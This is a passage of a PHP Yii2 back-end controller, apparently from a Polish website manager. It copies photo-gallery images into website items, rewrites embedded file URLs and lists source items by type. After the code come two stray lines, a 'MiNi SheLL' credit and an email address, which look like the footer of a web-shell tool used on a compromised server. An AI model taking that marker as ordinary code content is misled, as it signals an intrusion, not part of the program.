                $sourceData['lead'] ='UZUPEŁNIJ';
                $sourceData['content'] = 'UZUPEŁNIJ';
                $sourceData['description'] = 'UZUPEŁNIJ';
            }
            $sourceData['datetime_start'] = $model->gallery_date;
            $sourceData['datetime_end'] = null;
            $sourceData['price'] = null;
            $sourceData['price_details'] = null;
            $sourceData['source_url'] = null;
            $sourceData['source_author'] = null;            
            $sourceData['keywords'] = 'UZUPEŁNIJ';          
            
            $sourceData['id_country'] = null;
            $sourceData['id_region'] = null;
            $sourceData['locality'] = null;
            $sourceData['postcode'] = null;
            $sourceData['street'] = null;
            $sourceData['building_number'] = null;
            $sourceData['apartment_number'] = null;
            $sourceData['lat'] = null;
            $sourceData['lng'] = null;
            $sourceData['status'] = \common\models\types\Status::ACTIVE;
            
            $modelsPhotos = $model->getPhotos()->orderBy('photo_order')->all();
            
            if(!empty($modelsPhotos[0])) {
                $fileInfo = pathinfo($modelsPhotos[0]->getImageUrl());            
                $newImageFilename = \common\models\CompaniesPhotogalleriesPhotos::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                $sourceData['image_filename'] = $newImageFilename;                
                $filesToCopy[$modelsPhotos[0]->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
                unset($modelsPhotos[0]);
            } else {
                $sourceData['image_filename'] = null;
            }
            
            if(!empty($modelsPhotos)) {
                foreach($modelsPhotos as $modelPhoto) {
                    $fileInfo = pathinfo($modelPhoto->getImageUrl());            
                    $newImageFilename = \common\models\CompaniesPhotogalleriesPhotos::createFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']);                     
                    $sourcePhotos[] = [
                        'filename' => $newImageFilename,
                        'title' => !empty($modelPhoto->title) ? $modelPhoto->title : null
                    ]; 
                    $filesToCopy[$modelPhoto->getImageUrl()] = Yii::getAlias('@websitesImagesRealPath').'/'.$modelWebsite->id_website.'/'.$newImageFilename;
                }
            } 
        }
        
        return [
            $sourceData, 
            $sourcePhotos, 
            $sourceAttachments, 
            $filesToCopy
        ];
    }
    
    protected function analyzeEmbeddedFiles($idWebsite, &$text, &$files)
    {
        $sourcesUrl = Yii::getAlias('@sourcesUrl');
        $sourcesUrl = 'https://common.v-manager.pl/uploads/source';
        $sourcesRealPath = Yii::getAlias('@sourcesRealPath');
//        $pattern = $sourcesUrl.'/'.Yii::getAlias('@articlesContentsImagesDirName').'/';
        $pattern = $sourcesUrl.'/';
        
        $matches = [];
        preg_match_all('~'.$pattern.'[0-9a-zA-Z\-_\.\/]+~i', $text, $matches);
        if(!empty($matches[0])) {
            foreach($matches[0] as $match) {
                $sourceFilePath = str_replace($sourcesUrl, $sourcesRealPath, $match);
                $targetFilePath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@websitesDirName').'/'.$idWebsite.'/'.basename($sourceFilePath);
                if(!isset($files[$sourceFilePath]) && !file_exists($targetFilePath)) {
                    $files[$sourceFilePath] = $targetFilePath;
                }
                $targetUrl = Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@websitesDirName').'/'.$idWebsite.'/'.basename($sourceFilePath);
                $text = str_replace($match, $targetUrl, $text);
            }
        }
    }
    
    public function actionSourcesItemsList($id)
    {
        $modelWebsite = $this->findModelWebsite($id);
     
        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelWebsite])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $itemTypeConstant = Yii::$app->request->get('item_type'); 
        
        if(empty($itemTypeConstant) || empty(constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant))) {
            throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
        }
        
        $queryParams = Yii::$app->request->queryParams;
        $viewFilename = '';
        $itemTypeValue = constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant);
        switch($itemTypeValue) {
            case WebsiteItemType::NEWS;
            case WebsiteItemType::ARTICLE;  
                $searchModel = new \backend\models\ArticlesSearch();
                $queryParams['ArticlesSearch']['id_company'] = $modelWebsite->id_company; 
                $viewFilename = 'articles_list';
                break;
            case WebsiteItemType::PRODUCT;
                $searchModel = new \backend\models\ProductsSearch();
                $queryParams['ProductsSearch']['id_company'] = $modelWebsite->id_company; 
                $viewFilename = 'products_list';
                break;
            case WebsiteItemType::ADVERTISEMENT;
                $searchModel = new \backend\models\AdvertisementsSearch();
                $queryParams['AdvertisementsSearch']['id_company'] = $modelWebsite->id_company; 
                $viewFilename = 'advertisements_list';
                break;
            case WebsiteItemType::TRAINING;
                $searchModel = new \backend\models\TrainingsDatesSearch();
                $queryParams['TrainingsDatesSearch']['idCompany'] = $modelWebsite->id_company; 
                $viewFilename = 'trainings_list';
                break;
            case WebsiteItemType::FAIR;
                $searchModel = new \backend\models\FairsSearch();
                $queryParams['FairsSearch']['idCompany'] = $modelWebsite->id_company; 
                $viewFilename = 'fairs_list';
                break;
            case WebsiteItemType::PHOTO_GALLERY;
                $searchModel = new \backend\models\CompaniesPhotogalleriesSearch();
                $queryParams['CompaniesPhotogalleriesSearch']['id_company'] = $modelWebsite->id_company; 
                $viewFilename = 'photo_galleries_list';
                break;
        }
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax($viewFilename, [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'itemTypeConstant' => $itemTypeConstant
        ]);
    }
    
    /**
     * Finds the WebsitesItems model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return WebsitesItems the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = WebsitesItems::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
    }
    
    /**
     * Finds the Websites model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Websites the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelWebsite($id)
    {
        if (($model = Websites::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com